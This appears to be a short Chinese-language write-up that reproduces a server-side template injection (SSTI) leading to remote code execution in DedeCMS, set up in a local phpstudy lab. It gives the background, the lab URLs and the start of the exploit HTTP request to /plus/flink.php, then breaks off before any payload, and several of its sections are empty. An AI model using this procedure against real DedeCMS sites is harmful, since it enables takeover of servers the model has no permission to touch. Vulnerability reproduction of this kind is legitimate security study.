漏洞类型
        SSTI RCE
        利用条件
        影响范围应用
        漏洞概述
        2021年9月30日，国外安全研究人员Steven Seeley披露了最新的DedeCMS版本中存在的一处SQL注入漏洞以及一处SSTI导致的RCE漏洞，由于SQL注入漏洞利用条件极为苛刻，故这里只对该SSTI注入漏洞进行简要分析复现
        漏环境搭建
        【技术学习资料】
        漏洞复现
        这里使用phpstudy来搭建环境

       

       

       

       

        网站前台：http://192.168.59.1/index.php?upcache=1

       

        网站后台： http://192.168.59.1/dede/login.php?gotopa...

       

        漏洞利用
        <ol>                        GET /plus/flink.php?dopost=save HTTP/1.1Host: 192.168.59.1Referer: